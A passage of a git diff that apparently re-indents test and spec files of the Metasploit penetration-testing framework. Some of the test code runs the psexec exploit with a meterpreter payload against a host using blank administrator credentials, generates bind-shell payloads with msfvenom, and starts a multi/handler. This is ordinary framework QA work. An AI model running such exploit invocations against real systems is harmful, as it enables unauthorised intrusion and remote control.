module_manager.should_receive(:cache_in_memory) + + on_module_load + end + + it 'should pass class to #auto_subscribe_module' do + module_manager.should_receive(:auto_subscribe_module).with(klass) + + on_module_load + end + + it 'should fire on_module_load event with class' do + framework.events.should_receive(:on_module_load).with( + reference_name, + klass + ) + + on_module_load + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 05fdc1f66311..0951211d28d8 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -1,77 +1,77 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do - def module_paths - module_manager.send(:module_paths) - end + def module_paths + module_manager.send(:module_paths) + end - context '#add_module_path' do - it 'should strip trailing File::SEPARATOR from the path' do - Dir.mktmpdir do |path| - path_with_trailing_separator = path + File::SEPARATOR - module_manager.add_module_path(path_with_trailing_separator) + context '#add_module_path' do + it 'should strip trailing File::SEPARATOR from the path' do + Dir.mktmpdir do |path| + path_with_trailing_separator = path + File::SEPARATOR + module_manager.add_module_path(path_with_trailing_separator) - module_paths.should_not include(path_with_trailing_separator) - module_paths.should include(path) - end - end + module_paths.should_not include(path_with_trailing_separator) + module_paths.should include(path) + end + end - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink + context 'with Fastlib archive' do + it 'should raise an ArgumentError unless the File exists' do + file = Tempfile.new(archive_basename) + # unlink will clear path, so copy it to a variable + path = file.path + file.unlink - File.exist?(path).should be_false + File.exist?(path).should be_false - expect { - module_manager.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end + expect { + module_manager.add_module_path(path) + }.to raise_error(ArgumentError, "The path supplied does not exist") + end - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path + it 'should add the path to #module_paths if the File exists' do + Tempfile.open(archive_basename) do |temporary_file| + path = temporary_file.path - File.exist?(path).should be_true + File.exist?(path).should be_true - module_manager.add_module_path(path) + module_manager.add_module_path(path) - module_paths.should include(path) - end - end - end + module_paths.should include(path) + end + end + end - context 'with directory' do - it 'should add path to #module_paths' do - Dir.mktmpdir do |path| - module_manager.add_module_path(path) + context 'with directory' do + it 'should add path to #module_paths' do + Dir.mktmpdir do |path| + module_manager.add_module_path(path) - module_paths.should include(path) - end - end + module_paths.should include(path) + end + end - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - module_manager.add_module_path(directory) + context 'containing Fastlib archives' do + it 'should add each Fastlib archive to #module_paths' do + Dir.mktmpdir do |directory| + Tempfile.open(archive_basename, directory) do |file| + module_manager.add_module_path(directory) - module_paths.should include(directory) - module_paths.should include(file.path) - end - end - end - end - end + module_paths.should include(directory) + module_paths.should include(file.path) + end + end + end + end + end - context 'with other file' do - it 'should raise ArgumentError' do - Tempfile.open(basename_prefix) do |file| - expect { - subject.add_module_path(file.path) - }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') - end - end - end - end + context 'with other file' do + it 'should raise ArgumentError' do + Tempfile.open(basename_prefix) do |file| + expect { + subject.add_module_path(file.path) + }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') + end + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index 409974c95447..5b80ff0aac4c 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -1,27 +1,27 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::Error subclass #initialize' do - context 'instance methods' do - context '#initialize' do - include_context 'Msf::Modules::Error attributes' + context 'instance methods' do + context '#initialize' do + include_context 'Msf::Modules::Error attributes' - subject do - described_class.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + subject do + described_class.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - it 'should include causal message in error' do - subject.to_s.should match(/due to .*/) - end + it 'should include causal message in error' do + subject.to_s.should match(/due to .*/) + end - it 'should set module_path' do - subject.module_path.should == module_path - end + it 'should set module_path' do + subject.module_path.should == module_path + end - it 'should set module_reference_name' do - subject.module_reference_name.should == module_reference_name - end - end - end + it 'should set module_reference_name' do + subject.module_reference_name.should == module_reference_name + end + end + end end diff --git a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb index 12bbad980acd..f0f5b0582eae 100644 --- a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb +++ b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do - it 'should be able to read the module content' do - archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) - unarchived_module_content = '' + it 'should be able to read the module content' do + archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) + unarchived_module_content = '' - File.open(unarchived_path) do |f| - unarchived_module_content = f.read - end + File.open(unarchived_path) do |f| + unarchived_module_content = f.read + end - unarchived_module_content.should_not be_empty - archived_module_content.should == unarchived_module_content - end + unarchived_module_content.should_not be_empty + archived_module_content.should == unarchived_module_content + end end diff --git a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb index 407c7125043a..45c859e7ad0c 100644 --- a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb +++ b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb @@ -1,33 +1,33 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::VersionCompatibilityError' do - let(:error) do - begin - subject.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => error - end + let(:error) do + begin + subject.version_compatible!(module_path, module_reference_name) + rescue Msf::Modules::VersionCompatibilityError => error + end - error - end + error + end - it 'should be raised' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::VersionCompatibilityError) - end + it 'should be raised' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to raise_error(Msf::Modules::VersionCompatibilityError) + end - it 'should include minimum API version' do - error.to_s.should include(minimum_api_version.to_s) - end + it 'should include minimum API version' do + error.to_s.should include(minimum_api_version.to_s) + end - it 'should include minimum Core version' do - error.to_s.should include(minimum_core_version.to_s) - end + it 'should include minimum Core version' do + error.to_s.should include(minimum_core_version.to_s) + end - it 'should include module path' do - error.to_s.should include(module_path) - end + it 'should include module path' do + error.to_s.should include(module_path) + end - it 'should include module reference name' do - error.to_s.should include(module_reference_name) - end + it 'should include module reference name' do + error.to_s.should include(module_reference_name) + end end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 9c88e2db65f7..56df64069595 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -1,99 +1,99 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do - it { should be_a Msf::Simple::Framework::ModulePaths } - - context '#init_module_paths' do - def init_module_paths - framework.init_module_paths - end - - let(:module_directory) do - nil - end - - let(:user_module_directory) do - nil - end - - let(:options) do - {} - end - - before(:each) do - # create the framework first so that it's initialization's call - # to init_module_paths doesn't get captured. - framework - - Msf::Config.stub(:module_directory => module_directory) - Msf::Config.stub(:user_module_directory => user_module_directory) - end - - it 'should refresh module cache from database' do - framework.modules.should_receive(:refresh_cache_from_database) - - init_module_paths - end - - context 'Msf::Config' do - context 'module_directory' do - context 'without nil' do - let(:module_directory) do - 'modules' - end - - it 'should add Msf::Config.module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - module_directory, - options - ) - - init_module_paths - end - end - end - - context 'user_module_directory' do - context 'without nil' do - let(:user_module_directory) do - 'user/modules' - end - - it 'should add Msf::Config.user_module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - user_module_directory, - options - ) - - init_module_paths - end - end - end - end - - context 'datastore' do - context 'MsfModulePaths' do - let(:module_paths) do - module_paths = [] - - 1.upto(2) do |i| - module_paths << "msf/#{i}/modules" - end - - module_paths - end - - before(:each) do - msf_module_paths = module_paths.join(';') - framework.datastore['MsfModulePaths'] = msf_module_paths - end - - it 'should add each module path' do - module_paths.each do |module_path| - framework.modules.should_receive(:add_module_path).with(module_path, options) - end - - init_module_paths - end - end - end - end + it { should be_a Msf::Simple::Framework::ModulePaths } + + context '#init_module_paths' do + def init_module_paths + framework.init_module_paths + end + + let(:module_directory) do + nil + end + + let(:user_module_directory) do + nil + end + + let(:options) do + {} + end + + before(:each) do + # create the framework first so that it's initialization's call + # to init_module_paths doesn't get captured. + framework + + Msf::Config.stub(:module_directory => module_directory) + Msf::Config.stub(:user_module_directory => user_module_directory) + end + + it 'should refresh module cache from database' do + framework.modules.should_receive(:refresh_cache_from_database) + + init_module_paths + end + + context 'Msf::Config' do + context 'module_directory' do + context 'without nil' do + let(:module_directory) do + 'modules' + end + + it 'should add Msf::Config.module_directory to module paths' do + framework.modules.should_receive(:add_module_path).with( + module_directory, + options + ) + + init_module_paths + end + end + end + + context 'user_module_directory' do + context 'without nil' do + let(:user_module_directory) do + 'user/modules' + end + + it 'should add Msf::Config.user_module_directory to module paths' do + framework.modules.should_receive(:add_module_path).with( + user_module_directory, + options + ) + + init_module_paths + end + end + end + end + + context 'datastore' do + context 'MsfModulePaths' do + let(:module_paths) do + module_paths = [] + + 1.upto(2) do |i| + module_paths << "msf/#{i}/modules" + end + + module_paths + end + + before(:each) do + msf_module_paths = module_paths.join(';') + framework.datastore['MsfModulePaths'] = msf_module_paths + end + + it 'should add each module path' do + module_paths.each do |module_path| + framework.modules.should_receive(:add_module_path).with(module_path, options) + end + + init_module_paths + end + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb index f26f94e89f00..d84fa9a69201 100644 --- a/spec/support/shared/examples/options.rb +++ b/spec/support/shared/examples/options.rb @@ -26,33 +26,33 @@ context "with valid values" do valid_values.each do |vhash| - valid_value = vhash[:value] - normalized_value = vhash[:normalized] + valid_value = vhash[:value] + normalized_value = vhash[:normalized] it "should be valid and normalize appropriately: #{valid_value}" do - block = Proc.new { - subject.normalize(valid_value).should == normalized_value - subject.valid?(valid_value).should be_true - } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end + block = Proc.new { + subject.normalize(valid_value).should == normalized_value + subject.valid?(valid_value).should be_true + } + if vhash[:pending] + pending(vhash[:pending], &block) + else + block.call + end end end end context "with invalid values" do invalid_values.each do |vhash| - invalid_value = vhash[:value] + invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do block = Proc.new { subject.valid?(invalid_value).should be_false } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end + if vhash[:pending] + pending(vhash[:pending], &block) + else + block.call + end end end end diff --git a/spec/support/shared/examples/typed_path.rb b/spec/support/shared/examples/typed_path.rb index 487c60393b7c..ba33e7eedd4c 100644 --- a/spec/support/shared/examples/typed_path.rb +++ b/spec/support/shared/examples/typed_path.rb @@ -1,29 +1,29 @@ # -*- coding:binary -*- shared_examples_for 'typed_path' do |map| - map ||= {} - if map.length < 1 - raise ArgumentError, - "type_path shared example requires a hash mapping the type constant name to the directory name: " \ - "it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'" - end + map ||= {} + if map.length < 1 + raise ArgumentError, + "type_path shared example requires a hash mapping the type constant name to the directory name: " \ + "it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'" + end - if map.length > 1 - raise ArgumentError, - "only one constant to directory mapping should be passed to each shared example, not #{map.length}" - end + if map.length > 1 + raise ArgumentError, + "only one constant to directory mapping should be passed to each shared example, not #{map.length}" + end - type_constant_name, directory = map.shift + type_constant_name, directory = map.shift - context "with #{type_constant_name} type" do - let(:type_constant) do - type_constant_name.constantize - end + context "with #{type_constant_name} type" do + let(:type_constant) do + type_constant_name.constantize + end - it "should start with #{directory} directory" do - typed_path = described_class.typed_path(type_constant, module_reference_name) - first_directory = typed_path.split(File::SEPARATOR).first + it "should start with #{directory} directory" do + typed_path = described_class.typed_path(type_constant, module_reference_name) + first_directory = typed_path.split(File::SEPARATOR).first - first_directory.should == directory - end - end + first_directory.should == directory + end + end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index daa1f65db851..3df434c490d8 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -1,37 +1,37 @@ # -*- coding: binary -*- shared_examples_for 'an xor encoder' do |keysize| - it "should encode one block" do - # Yup it returns one of its arguments in an array... Because spoon. - encoded, key = described_class.encode("A"*keysize, "A"*keysize) - encoded.should eql("\x00"*keysize) + it "should encode one block" do + # Yup it returns one of its arguments in an array... Because spoon. + encoded, key = described_class.encode("A"*keysize, "A"*keysize) + encoded.should eql("\x00"*keysize) - encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) - encoded.should eql("\xff"*keysize) + encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) + encoded.should eql("\xff"*keysize) - encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) - encoded.should eql("\x88"*keysize) - end + encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) + encoded.should eql("\x88"*keysize) + end - it "should encode multiple blocks" do - 2.upto 50 do |count| - encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) - encoded.should eql("\x88"*keysize*count) - end - end + it "should encode multiple blocks" do + 2.upto 50 do |count| + encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) + encoded.should eql("\x88"*keysize*count) + end + end - if keysize > 1 - it "should deal with input lengths that aren't a multiple of keysize" do - lambda { - encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) - encoded.should eql("\x00"*(keysize+1)) - }.should_not raise_error + if keysize > 1 + it "should deal with input lengths that aren't a multiple of keysize" do + lambda { + encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) + encoded.should eql("\x00"*(keysize+1)) + }.should_not raise_error - lambda { - encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) - encoded.should eql("\x00"*(keysize-1)) - }.should_not raise_error - end - end + lambda { + encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) + encoded.should eql("\x00"*(keysize-1)) + }.should_not raise_error + end + end end diff --git a/test/features/steps/common_steps.rb b/test/features/steps/common_steps.rb index 11c79c5ae926..21620e30d6c0 100644 --- a/test/features/steps/common_steps.rb +++ b/test/features/steps/common_steps.rb @@ -1,31 +1,31 @@ #This is the step definition file for common framework testing steps or meta steps When /^I run the "([^"]*)" exploit with standard target options$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively - } - end + steps %Q{ + When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively + } + end When /^I run the "([^"]*)" exploit with standard target options in check mode$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively - } - end + steps %Q{ + When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively + } + end When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively - } - end + steps %Q{ + When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively + } + end When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options and a buffer register$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively - } - end + steps %Q{ + When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively + } + end When /^I run msfpayload to generate a "([^"]*)" on the local host$/ do |payload| - steps %Q{ - When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` - } - end \ No newline at end of file + steps %Q{ + When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` + } + end \ No newline at end of file diff --git a/test/features/steps/handler_steps.rb b/test/features/steps/handler_steps.rb index 4ede133d5c2e..9660708856e1 100644 --- a/test/features/steps/handler_steps.rb +++ b/test/features/steps/handler_steps.rb @@ -1,14 +1,14 @@ #This is the step definition file for cucumber features relating to the framework handler feature Given /^I launch the exploit multi handler$/ do - steps %Q{ - - When I run `./msfcli exploit/multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." + steps %Q{ + + When I run `./msfcli exploit/multi/handler E` + Then the output should contain "Please wait while we load the module tree..." + Then the output should contain "Started reverse handler on" + Then the output should contain "Starting the payload handler..." - } + } end Given /^I launch the generic multi handler$/ do diff --git a/test/features/support/env.rb b/test/features/support/env.rb index 2f0b406393d9..9a60d7d97354 100644 --- a/test/features/support/env.rb +++ b/test/features/support/env.rb @@ -5,18 +5,18 @@ require_relative 'test_config' Before do - # Automatically find the framework path - default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') + # Automatically find the framework path + default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') - # Add more paths manually if needed. For example: - # "/Users/gary/rapid7/framework" - @dirs = [default_path] + # Add more paths manually if needed. For example: + # "/Users/gary/rapid7/framework" + @dirs = [default_path] - @aruba_timeout_seconds = 150 + @aruba_timeout_seconds = 150 end Before('@slow_process') do - @aruba_io_wait_seconds = 150 + @aruba_io_wait_seconds = 150 end @After diff --git a/test/features/support/test_config.rb b/test/features/support/test_config.rb index 42848869400e..8c1c5b9b770b 100644 --- a/test/features/support/test_config.rb +++ b/test/features/support/test_config.rb @@ -6,18 +6,18 @@ class TestConfig def initialize(*args) - yml_path = File.join(File.dirname(__FILE__),'test_config.yml') + yml_path = File.join(File.dirname(__FILE__),'test_config.yml') - if File.exists?(yml_path) - @yaml_options = YAML::load(File.open(yml_path)) - else - @yaml_options = {} - end + if File.exists?(yml_path) + @yaml_options = YAML::load(File.open(yml_path)) + else + @yaml_options = {} + end @options = { "rhost" => "localhost", - "smbuser" => "user", - "smbpass" => "password" + "smbuser" => "user", + "smbpass" => "password" } end diff --git a/test/functional/framework/msfconsole_spec.rb b/test/functional/framework/msfconsole_spec.rb index 56ca2916daa0..be47e1d987f3 100644 --- a/test/functional/framework/msfconsole_spec.rb +++ b/test/functional/framework/msfconsole_spec.rb @@ -17,195 +17,195 @@ module MsfTest ## This spec exists to help us describe the behavior of msfconsole - TODO describe "Msfconsole" do - - ### - # Setup! - ### - - before :all do - - @working_directory = File.dirname(__FILE__) - - ## Static specs will make use of RC files here - @static_resource_directory = "#{@working_directory}/msftest/resource" - - ## Directories for the generated specs - @temp_directory = "#{@working_directory}/msfconsole_specs" - @temp_input_directory = "#{@temp_directory}/generated_rc" - - ## Where all output from the runs will go - @temp_output_directory = "#{@temp_directory}/output" - - ## Create a framework object - @framework = ::Msf::Simple::Framework.create - end - - before :each do - end - - after :each do - - end - - after :all do - ## Clean up - #FileUtils.rm_rf(@temp_directory) - end - - ### - # Static Test cases! - ### - - it "should start and let us run help" do - data = start_console_and_run_rc("help","#{@static_resource_directory}/help.rc") - - success_strings = [ 'help', - 'Database Backend Commands', - 'Core Commands' ] - failure_strings = [] | generic_failure_strings - failure_exception_strings = [] | generic_failure_exception_strings - - data.should contain_all_successes(success_strings) - data.should contain_no_failures_except(failure_strings, failure_exception_strings) - end - - it "should generate a meterpreter session against a vulnerable win32 host" do - ## Set input & output to something sane - input = Rex::Ui::Text::Input::Stdio.new - output = Rex::Ui::Text::Output::File.new("temp.output") - session = generate_x86_meterpreter_session(input, output) - - session.should_not be_nil - - if session - session.load_stdapi - session.run_cmd("help") - else - flunk "Error interacting with session" - end - end - - ### - # Dynamic Test Cases!! - ### - - @working_directory = File.dirname(__FILE__) - - ## Directories for the generated specs - @temp_directory = "#{@working_directory}/msfconsole_specs" - @temp_input_directory = "#{@temp_directory}/generated_rc" - - ## Where all output from the runs will go - @temp_output_directory = "#{@temp_directory}/output" - - if File.directory? @temp_directory - FileUtils.rm_rf(@temp_directory) - end - - Dir.mkdir(@temp_directory) - Dir.mkdir(@temp_input_directory) - Dir.mkdir(@temp_output_directory) - - Dir.glob("#{@working_directory}/msftest/*.msftest").each do |filename| - - ## Parse this test case - test_case = MsfTestCase.new(filename) - puts "Found #{test_case.name} in: #{filename}" - - ## Write the commands back to a temporary RC file - puts "Writing #{@temp_input_directory}/#{test_case.name}.rc" - File.open("#{@temp_input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands } - - ## Create the rspec Test Case - it "should #{test_case.name}" do - - ## Gather the success / failure strings, and combine with the generics - success_strings = test_case.expected_successes - failure_strings = test_case.expected_failures | generic_failure_strings - failure_exception_strings = test_case.expected_failure_exceptions | generic_failure_exception_strings - - ## run the commands - data = start_console_and_run_rc( test_case.name, "#{@temp_input_directory}/#{test_case.name}.rc") - - ## check the output - data.should contain_all_successes(success_strings) - data.should contain_no_failures_except(failure_strings, failure_exception_strings) - - ## Clean up - #File.delete("#{@temp_input_directory}/#{test_case.name}.rc") - #File.delete("#{@temp_output_directory}/#{test_case.name}") - end - end - - ### - # Test case helpers: - ### - def generic_success_strings - [] - end - - def generic_failure_strings - ['fatal', 'fail', 'error', 'exception'] - end - - def generic_failure_exception_strings - [] - end - - def start_console_and_run_rc(name,rc_file, database_file=false) - output_file = "#{@temp_output_directory}/#{name}" - - if database_file - msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file} -y #{database_file}" - else - msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file}" - end - - system("#{msfconsole_string}") - - data = hlp_file_to_string("#{output_file}") - end + + ### + # Setup! + ### + + before :all do + + @working_directory = File.dirname(__FILE__) + + ## Static specs will make use of RC files here + @static_resource_directory = "#{@working_directory}/msftest/resource" + + ## Directories for the generated specs + @temp_directory = "#{@working_directory}/msfconsole_specs" + @temp_input_directory = "#{@temp_directory}/generated_rc" + + ## Where all output from the runs will go + @temp_output_directory = "#{@temp_directory}/output" + + ## Create a framework object + @framework = ::Msf::Simple::Framework.create + end + + before :each do + end + + after :each do + + end + + after :all do + ## Clean up + #FileUtils.rm_rf(@temp_directory) + end + + ### + # Static Test cases! + ### + + it "should start and let us run help" do + data = start_console_and_run_rc("help","#{@static_resource_directory}/help.rc") + + success_strings = [ 'help', + 'Database Backend Commands', + 'Core Commands' ] + failure_strings = [] | generic_failure_strings + failure_exception_strings = [] | generic_failure_exception_strings + + data.should contain_all_successes(success_strings) + data.should contain_no_failures_except(failure_strings, failure_exception_strings) + end + + it "should generate a meterpreter session against a vulnerable win32 host" do + ## Set input & output to something sane + input = Rex::Ui::Text::Input::Stdio.new + output = Rex::Ui::Text::Output::File.new("temp.output") + session = generate_x86_meterpreter_session(input, output) + + session.should_not be_nil + + if session + session.load_stdapi + session.run_cmd("help") + else + flunk "Error interacting with session" + end + end + + ### + # Dynamic Test Cases!! + ### + + @working_directory = File.dirname(__FILE__) + + ## Directories for the generated specs + @temp_directory = "#{@working_directory}/msfconsole_specs" + @temp_input_directory = "#{@temp_directory}/generated_rc" + + ## Where all output from the runs will go + @temp_output_directory = "#{@temp_directory}/output" + + if File.directory? @temp_directory + FileUtils.rm_rf(@temp_directory) + end + + Dir.mkdir(@temp_directory) + Dir.mkdir(@temp_input_directory) + Dir.mkdir(@temp_output_directory) + + Dir.glob("#{@working_directory}/msftest/*.msftest").each do |filename| + + ## Parse this test case + test_case = MsfTestCase.new(filename) + puts "Found #{test_case.name} in: #{filename}" + + ## Write the commands back to a temporary RC file + puts "Writing #{@temp_input_directory}/#{test_case.name}.rc" + File.open("#{@temp_input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands } + + ## Create the rspec Test Case + it "should #{test_case.name}" do + + ## Gather the success / failure strings, and combine with the generics + success_strings = test_case.expected_successes + failure_strings = test_case.expected_failures | generic_failure_strings + failure_exception_strings = test_case.expected_failure_exceptions | generic_failure_exception_strings + + ## run the commands + data = start_console_and_run_rc( test_case.name, "#{@temp_input_directory}/#{test_case.name}.rc") + + ## check the output + data.should contain_all_successes(success_strings) + data.should contain_no_failures_except(failure_strings, failure_exception_strings) + + ## Clean up + #File.delete("#{@temp_input_directory}/#{test_case.name}.rc") + #File.delete("#{@temp_output_directory}/#{test_case.name}") + end + end + + ### + # Test case helpers: + ### + def generic_success_strings + [] + end + + def generic_failure_strings + ['fatal', 'fail', 'error', 'exception'] + end + + def generic_failure_exception_strings + [] + end + + def start_console_and_run_rc(name,rc_file, database_file=false) + output_file = "#{@temp_output_directory}/#{name}" + + if database_file + msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file} -y #{database_file}" + else + msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file}" + end + + system("#{msfconsole_string}") + + data = hlp_file_to_string("#{output_file}") + end def generate_x86_meterpreter_session(input, output) - ## Setup for win32 - exploit_name = 'windows/smb/psexec' - payload_name = 'windows/meterpreter/bind_tcp' - - ## Fire it off against a known-vulnerable host - session = @framework.exploits.create(exploit_name).exploit_simple( - 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, - 'Payload' => payload_name, - 'LocalInput' => input, - 'LocalOutput' => output) - - ## If a session came back, try to interact with it. - if session - return session - else - return nil - end - end + ## Setup for win32 + exploit_name = 'windows/smb/psexec' + payload_name = 'windows/meterpreter/bind_tcp' + + ## Fire it off against a known-vulnerable host + session = @framework.exploits.create(exploit_name).exploit_simple( + 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, + 'Payload' => payload_name, + 'LocalInput' => input, + 'LocalOutput' => output) + + ## If a session came back, try to interact with it. + if session + return session + else + return nil + end + end def generate_win64_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end def generate_java_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end def generate_php_meterpreter_session(input, output) - raise "Not Implemented" - end - - def hlp_file_to_string(filename) - data = "" - f = File.open(filename, "r") - f.each_line do |line| - data += line - end - return data - end + raise "Not Implemented" + end + + def hlp_file_to_string(filename) + data = "" + f = File.open(filename, "r") + f.each_line do |line| + data += line + end + return data + end end end diff --git a/test/functional/meterpreter/java_meterpreter_specs.rb b/test/functional/meterpreter/java_meterpreter_specs.rb index 8af612ccd164..582e59988b4d 100644 --- a/test/functional/meterpreter/java_meterpreter_specs.rb +++ b/test/functional/meterpreter/java_meterpreter_specs.rb @@ -1,19 +1,19 @@ module MsfTest module JavaMeterpreterSpecs - ## This file is intended to be used in conjunction with a harness, - ## such as meterpreter_win32_spec.rb + ## This file is intended to be used in conjunction with a harness, + ## such as meterpreter_win32_spec.rb - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when taking a screenshot" do - success_strings = [ 'Screenshot saved to' ] - hlp_run_command_check_output("screenshot","screenshot", success_strings) - end - - end - end + it "should not error when taking a screenshot" do + success_strings = [ 'Screenshot saved to' ] + hlp_run_command_check_output("screenshot","screenshot", success_strings) + end + + end + end end end diff --git a/test/functional/meterpreter/meterpreter_java_spec.rb b/test/functional/meterpreter/meterpreter_java_spec.rb index aa5d0907724d..cb6384331826 100644 --- a/test/functional/meterpreter/meterpreter_java_spec.rb +++ b/test/functional/meterpreter/meterpreter_java_spec.rb @@ -10,83 +10,83 @@ module MsfTest describe "JavaMeterpreter" do - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs - - # This include brings in all the specs that are specific to the java - # meterpreter - include MsfTest::JavaMeterpreterSpecs - - before :all do - @verbose = true - - @meterpreter_type = "java" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end - - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" - - create_session_java - end - - before :each do - - end - - after :each do - @session.init_ui(@input, @output) - end - - after :all do - #FileUtils.rm_rf("*.jpeg") - #FileUtils.rm_rf("payload.jar") - FileUtils.rm_rf(@output_directory) - end - - - def create_session_java - - ## Setup for win32 - @framework = Msf::Simple::Framework.create - - test_modules_path = File.join(File.dirname(__FILE__), '..', '..', 'modules') - @framework.modules.add_module_path(test_modules_path) - - @exploit_name = 'test/java_tester' - @payload_name = 'java/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) - - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) - - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 